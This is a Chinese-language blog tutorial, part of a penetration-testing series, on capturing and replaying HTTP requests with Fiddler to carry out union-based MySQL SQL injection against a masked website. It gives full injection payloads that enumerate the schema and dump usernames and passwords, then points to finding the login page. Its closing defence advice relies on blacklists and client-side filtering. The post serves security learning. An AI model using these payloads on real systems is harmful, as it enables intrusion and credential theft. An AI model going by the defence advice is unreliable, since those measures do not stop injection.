[渗透攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包
這是最近學習滲透和網站攻防的基礎性文章,前面文章從數據庫原理解讀了防止SQL注入、SQLMAP的基礎用法、數據庫差異備份、Caidao神器。這篇文章將詳細講解MySQL數據庫攻防知識,有點類似第一篇文章,然后其核心是解決局部刷新數據的思想,并通過Fiddler神器分析數據包的方法。
希望自己能深入地學習這部分知識,作為一個初學者,在探索網絡攻防和滲透的路上還很長。同時,希望文章對你有所幫助,尤其是學習網絡安全的初學者,錯誤或不足之處還請海涵~
? ? 一.Fiddler神器基礎用法&局部刷新問題
? ? ? ? 1.什么是Fiddler
? ? ? ? 2.Fiddler基礎用法
? ? ? ? 3.局部刷新問題
? ? 二.Fiddler分析MySQL數據庫
? ? ? ? 1.Fiddler分析界面
? ? ? ? 2.數據庫如何判斷字段總數 order by
? ? ? ? 3.數據庫獲取顯示位 union
? ? ? ? 4.數據庫顯示應數據 database()
? ? ? ? 5.數據庫獲取所有數據庫名?information_schema
? ? ? ? 5.數據庫獲取表名及列名?table_name
? ? ? ? 6.數據庫獲取登錄表字段 columns?
? ? ? ? 7.數據庫返回用戶名和密碼?
? ? ? ? 8.登錄系統
? ? 三.數據庫防御措施
?
? ?
前文欣賞:
[滲透&攻防] 一.從數據庫原理學習網絡攻防及防止SQL注入
[滲透&攻防] 二.SQL MAP工具從零解讀數據庫及基礎用法
[滲透&攻防] 三.數據庫之差異備份及Caidao利器
一. Fiddler神器基礎用法&局部刷新問題
作者最早接觸Fiddler,是身邊一個大神,通過Fiddler+C#自制抓取Ipad游戲數據做外掛,讓自己的人物總能撿到好裝備,十分之崇拜,后悔沒跟著他學習下。現在準備好好研究下它吧,希望文章也對你有所幫助。
首先作者簡單介紹什么是Fiddler及基礎功能,這里引用ohmygirl大神的文章部分內容。
? ??【HTTP】Fiddler(一) - Fiddler簡介
該文章簡單易懂,推薦大家閱讀。
1.什么是Fiddler
Fiddler是位于客戶端和服務器端的HTTP代理,也是目前最常用的http抓包工具之一 。 它能夠記錄客戶端和服務器之間的所有 HTTP請求,可以針對特定的HTTP請求,分析請求數據、設置斷點、調試web應用、修改請求的數據,甚至可以修改服務器返回的數據,功能非常強大,是web調試的利器。
Fiddler是用C#寫出來的,它包含一個簡單卻功能強大的基于JScript .NET 事件腳本子系統,它的靈活性非常棒,可以支持眾多的http調試任務,并且能夠使用.net框架語言進行擴展。安裝前需安裝microsoft .net framework可執行文件。
2.Fiddler基礎用法
運行主界面如下所示:
主界面中主要包括四個常用的塊:
(1) Fiddler菜單欄
頂部為菜單欄,包括捕獲http請求,停止捕獲請求,保存http請求,載入本地session、設置捕獲規則等功能。
(2) Fiddler工具欄
菜單欄下來是一行工具欄,包括Fiddler針對當前view的操作(暫停、清除session、decode模式、清除緩存等)。
(3) Web Session面板
左邊部分位Web Session面板,主要是Fiddler抓取到的每條http請求(每一條稱為一個session),主要包含了請求的url、協議、狀態碼、body等信息。其中常見狀態碼為:
? ? 200--成功,服務器成功處理請求且響應已成功接收。
? ? 301--請求的URL
? ? 400--壞請求。當目的服務器接收到請求但不理解細節所以無法處理時發生。
? ? 404--頁面找不到。如果目標API已移動或已更新但未保留向后兼容性時發生。
? ? 500--內部服務器錯誤。服務器端發生了某種致命錯誤,且錯誤并被服務提供商捕獲。
詳細的字段含義如下圖所示:
(4) 詳情和數據統計面板
右邊部分位詳情和數據統計針對每條http請求的具體統計(例如發送/接受字節數,發送/接收時間,還有粗略統計世界各地訪問該服務器所花費的時間)和數據包分析。
其中最常用的是inspector面板,提供了headers、textview、hexview、Raw等多種方式查看單條http請求的請求報文的信息。
下面的實例主要應用的就是Inspectors面板下的Raw模塊。
3.局部刷新問題
在網站開發過程中,局部刷新是常見又實用的功能,局部刷新通過可以調用iframe、ajax等技術實現。下面是我們團隊設計的局部刷新界面。
再如下圖一個局部刷新,點擊左邊的地圖可以在右邊顯示位置,同時下面出現對應國家的基礎信息,但是URL仍然為同一個。
如果通過手工注入或SQLMAP是沒有反饋結果的,畢竟URL都沒有變化。此時你準備怎么解決呢?腦袋是否都想疼了,感謝Na老師和ST老師推薦的Fiddler,下面將結合該工具進行簡單敘述,普及它的基礎用法。
二. Fiddler分析MySQL數據庫
1.Fiddler分析界面
首先,打開Fiddler后在Web session面板按住Ctrl+A,選中所有界面后點擊Delete刪除。因為它是實時捕獲信息的,先刪除該頁面。
接著在瀏覽器中輸入網址:http://www.xxx.com/worldmap/index
1) Fiddler捕獲請求
此時點擊其中一個超鏈接,下面會返回相關信息,此時觀察Fiddler,如下圖所示,其原理是瀏覽器點擊超鏈接發送一個請求,Fiddler截獲其數據包,200表示成功訪問,主機域名和對應URL即對應鏈接。
2) Inspectors Raw操作
此時點擊Inspectors,右邊上下都選擇Raw界面,余下部分作者主要使用Inspectors界面的Raw進行操作。上面的Raw是你發出的請求,下面的Raw是你的回復。
點擊右部的“Response body is encoded. Click to decode”按鈕,其原理是網頁傳輸都是壓縮過的,然后你需要解壓一下,查找網頁的原信息。點擊前后對比如下所示:
??
3) F12鍵實時捕獲
此時可以在Fiddler中按F12鍵,它表示是否實時截獲瀏覽器的數據。按F12后,只需要在Fiddler中操作我們所需界面即可,否則實時操作,請求很多。按F12后右底部顯示該圖表示實時截獲。
點擊左邊Web Session面板的URL,右面顯示其對應的請求信息。
4) URL分析
對應的URL為: http://www.xxx.com/worldmap/view/prefix/CN
反饋的信息為其對應的內容,說明數據庫中有類似Area='CN'的語句。現在如果把AF換成AF--呢?首先我們需要解決,怎么在Fiddler中修改URL,并獲取返回結果。
5) Raw下修改URL產生一個新請求
選中URL并點擊鍵盤快捷鍵E,可以在Inspectors的Raw界面下修改URL;另一種方法是右鍵URL,然后選擇Replay,Reissue and Edit。然后將URL修改成"CN--",點擊"Run to Completion"按鈕產生新的請求,Fiddler會監聽瀏覽器的請求,如果URL訪問錯誤則不會有響應結果,狀態碼為500等。
下面開始結合MySQL數據庫知識進行講解了。
2.數據庫如何判斷字段總數 order by
Inspectors頁面Raw進行編輯URL
(1) GET?http://xxxxx/prefix/CN')+order+by+1# HTTP/1.1 ??(正常顯示)
對應的MySQL語句:
select .... from table where area=('cn') order by 1 #?and xxxx;
按照1個字段進行排序,正常顯示表示該URL對應的SQL語句至少一個字段。
注意:CN后面的 ') 用單引號+括號匹配結束該字符,同時Fiddler加號連接URL,而第一篇文章 "一.從數據庫原理學習網絡攻防及防止SQL注入" URL是空格連接的。最后的#表示在MySQL中注釋包括#和--,這里--報錯,而#成功訪問,如下圖所示。
(2)?GET?http://xxxxx/prefix/CN')+order+by+8#?HTTP/1.1???(正常顯示)
對應的SQL語句:
select .... from table where area=('cn') order by 8 #?and xxxx;
如果出現亂碼,則點擊右部的“Response body is encoded. Click to decode.”按鈕進行查看。
(3)?GET?http://xxxxx/prefix/CN')+order+by+9#?HTTP/1.1???(錯誤顯示)
對應的SQL語句:
select .... from table where area=('cn') order by 9 #?and xxxx;
表示該查詢總共8個字段,下面需要開始測試反饋內容。
重點:字段共8個。
3.數據庫獲取顯示位 union
在得到字段個數后,需要獲取字段位置,則使用union或union all。其中union表示將兩個select結果整體顯示,并合并相同的結果,union all顯示全部結果。例如:
(1)?GET?http://xxxxx/prefix/CN')+union+select+null,null,null,null,null,null,null,null#?HTTP/1.1?
對應的SQL語句:
select .... from table where area=('cn')
union select null,null,null,null,null,null,null,null? #?and xxxx;
正常顯示,共8個null,表示通配符,對應8個字段。
(2 )?GET? http://xxxxx/prefix/CN')+union+select+1,2,3,4,5,6,7,8#?HTTP/1.1?
對應的SQL語句:
select .... from table where area=('cn')?
union select?1,2,3,4,5,6,7,8 ?#? and xxxx;
此時需要觀察反饋的數字,它就是我們獲取的那道門,該數字這是進入房間的大門。前面第一篇文章是通過URL測試,如果報錯則null替換數字,此時不需要。
(3)?GET?http://xxxxx/prefix/CNab')+union+select+1,2,3,4,5,6,7,8#?HTTP/1.1?
對應的SQL語句:
select .... from table where area=('CNab')?
union select?1,2,3,4,5,6,7,8 ?#?and xxxx;
然后將"CN"修改成"Cnab",讓其報錯不反饋前面的內容,而反饋后面union select 1....8的數字,運行結果如下所示,數字6則為漏洞。
重點:CNab讓第一條SQL語句不返回,只關注我們的信息。
接下來想辦法將我們需要的結果在這里顯示即可,數據都是從后臺數據庫中查詢出來的。
4.數據庫顯示應數據 database()
(1)?GET?http://xxxxx/prefix/CN')+union+select+1,2,3,4,5,database(),7,8#?HTTP/1.1?
對應的SQL語句:
select .... from table where area=('cn')?
union select?1,2,3,4,5,database(),7,8 ?#?and xxxx;
MySQL數據庫中database()用于獲取數據庫的內容,version()用于獲取當前數據庫版本號內容。如下當前數據庫為20170720df。
查詢的結果如下所示,數據庫為mfa。
如果想連接,則使用concat()拼接函數:
(2) union+select+1,2,3,4,5,concat(user(),0x20,database(),0x20,version()) ,7,8#
反饋結果,0x20表示空格:
mfaroot@localhost mfa 5.5.4-deb8u1-log
<div class="line-block"></div>
<div class="line-block"></div>
5.獲取當前所有數據庫 information_schema
那么怎么獲取數據庫所有的數據庫名呢?
作者最早想到的是SQL語句:
select table_name from information_schema.tables;
該語句反饋整個數據庫系統中,所有的表名,如下所示:
http://xxxxx/prefix/CNab')+union+all+select+1,2,3,4,5,
(select+table_name+from+information_schema.tables),7,8#
這是因為需要將數據庫反饋結果拼接成一行,同時還需要指定只獲取mfa數據庫里面的表,則使用如下方法:
mysql安裝成功后可以看到已經存在mysql、information_schema和test這個幾個數據庫 information_schema庫中有一個名為COLUMNS的表,這個表中記錄了數據庫中所有表的字段信息。 知道這個表后,獲取任意表的字段就只需要一條select語句即可。如:select COLUMN_NAME from information_schema.COLUMNS where table_name = 'your_table_name';
(1)?GET?http://xxxxx/prefix/CN')+union+all+select+1,2,3,4,5,
? ? group_concat(distinct+table_schema),7,8+from+
? ? information_schema.columns#?HTTP/1.1?
對應的SQL語句:
select .... from table where area=('cn')?
union all select?1,2,3,4,5,group_concat(distinct+table_schema),7,8
from information_schema.columns#?and xxxx;
Fiddleer輸出結果如下所示:
information_schema,mfa
<div class="line-block"></div>
<div class="line-block"></div>
(2) ?GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+
? ? select+1,2,3,4,5,group_concat(distinct+table_schema),7,8+from+
? ? information_schema.columns+where+table_schema=database()#?HTTP/1.1 ?
對應的SQL語句:
select?group_concat(distinct+table_schema) from?
information_schema.columns where table_schema=database();
本地數據庫測試如下圖所示:
mfa
<div class="line-block"></div>
<div class="line-block"></div>
6.數據庫獲取表名及列名?table_name
(1)?GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+
? ? select+1,2,3,4,5,group_concat(distinct+table_name),7,8+from+
? ? information_schema.tables+where+table_schema=database()# HTTP/1.1?
對應的MySQL語句,table_name、tables表示表名:
select?group_concat(distinct+table_name) from
information_schema.tables where table_schema=database();
本地數據庫測試如下圖所示,輸出結果包括該各個表名。
輸出結果如下所示:
問題,但是我并沒有找到登錄表,原來group_concat有限制,那怎么處理呢?使用limit m,n進行限制,從m開始輸出n個字段。平時常使用的是limit n輸出前n個字段。
select table_name from information_schema.tables?
where table_schema=database() limit 10,5;
本地數據庫從10序號開始輸出5個字段,如下所示:
依次從0開始輸出20個字段,并count()統計總共多少張表,總會找到登陸表。
(2)?GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+
? ? select+1,2,3,4,5,group_concat(distinct+table_name),7,8+from+
? ? (select+table_name+from+information_schema.tables+
? ? where+table_schema=database()+limit+0,20)+as+sub#??HTTP/1.1?
對應的MySQL語句如下,使用子查詢獲取20個表名,再進行拼接輸出:
select?group_concat(distinct+table_name) from?
(select table_name from information_schema.tables
?where table_schema=database() limit 0,20)?as sub;
輸出結果如下:
(3)?GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+
? ? select+1,2,3,4,5,group_concat(distinct+table_name),7,8+from+
? ? (select+table_name+from+information_schema.tables+
? ? where+table_schema=database()+limit+100,20)+as+sub#??HTTP/1.1?
依次從limit 20,20、limit 40,20、limit 100,20進行獲取,最好發現登錄表為users。
重點:登陸表users
7.數據庫獲取登錄表字段 columns
獲取登錄表的字段,使用SQL語句:
select group_concat(distinct+column_name) from?
information_schema.columns where table_name='users';
本地數據庫運行結果如下所示:
(1) ?GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+
? ? select+1,2,3,4,5,group_concat(distinct+column_name),7,8+from+
? ? information_schema.columns+where+table_name='users'#?HTTP/1.1 ?
對應的MySQL語句,table_name、tables表示表名:
select?1,2,3,4,5,group_concat(distinct+tcolumn_name),7,8 from?
information_schema.columns where?table_name='users';
輸出結果如下圖所示:
重點:用戶名字段username、密碼password。
8.數據庫返回用戶名和密碼?
(1)?GET http://xxxxx/worldmap/view/prefix/CNab')+union+all+
? ? select+1,2,3,4,5,group_concat(distinct+username,0x2b,
? ? password,0x2b,vozrast),7,8+from+users#?HTTP/1.1?
對應的MySQL語句,table_name、tables表示表名:
select?group_concat(distinct+username,0x2b,password,0x2b,vozrast)?from users;
點擊"Run to completion"按鈕輸出結果如下圖所示,0x2b表示加號,如果獲取更多用戶名和密碼,你可以自己思考下?
9.登錄系統
登錄怎么找到登錄頁面呢?照網站后臺的方法:
方法一:一定用谷歌搜索,admin、login、system、manage、user等關鍵詞;
方法二:配置文件robots.txt,網頁鏈接等;
方法三:掃描目錄,通過一些工具。
然后登錄即可。
三. 數據庫防御措施
真正的困難在于如何找到一個存在漏洞的網站,如何去防護。現在很多網站都應做好相關防御措施,手工SQL注入是沒有反應的,但是找到漏洞后,再利用SQLMAP就能夠找到相應的用戶名和密碼。
參考前文,個人理解的防御措施:
? ? 1.在URL設置不允許非法字符,如單引號、等號、注釋--、減號,提示非法參數;
? ? 2.在URL設置不允許SQL常見的關鍵詞,如and、select、or、insert等;
? ? 3.傳遞的id=115參數必須為數字才能正常跳轉,否則跳轉錯誤;
? ? 4.服務器啟用SQL注入攔截功能,提示當前網頁的 URL / POST / COOKIES中包含了特定的 SQL字符而被防火墻攔截,因為可能通過POST、Cookies進行攻擊,各方面都需要做到防御。
? ? 5.可以使用js在客戶端進行不安全字符屏蔽,也可以在jsp中調用該函數檢查是否包函非法字符,或使用正則表達式過濾傳入的參數,防止SQL從URL注入。
希望文章對你有所幫助,尤其是網絡安全的程序員,因為系列文章是和前文息息相關的,所以看著有些凌亂。如果文章存在錯誤或不足之處,還請海涵。感謝娜師傅的一路陪伴,學中文的扔掉了手中的尤克里里,教我寫代碼也是很瘋狂的啊,哈哈!不忘初心,繼續前行。加油,秀璋。綠妖,晚安!
(By:Eastmount 2017-07-30 深夜1點??http://blog.csdn.net/eastmount/?)
總結
以上是生活随笔為你收集整理的[渗透攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [渗透攻防] 二.SQL MAP工具从零
- 下一篇: [CentOS Python系列] 三.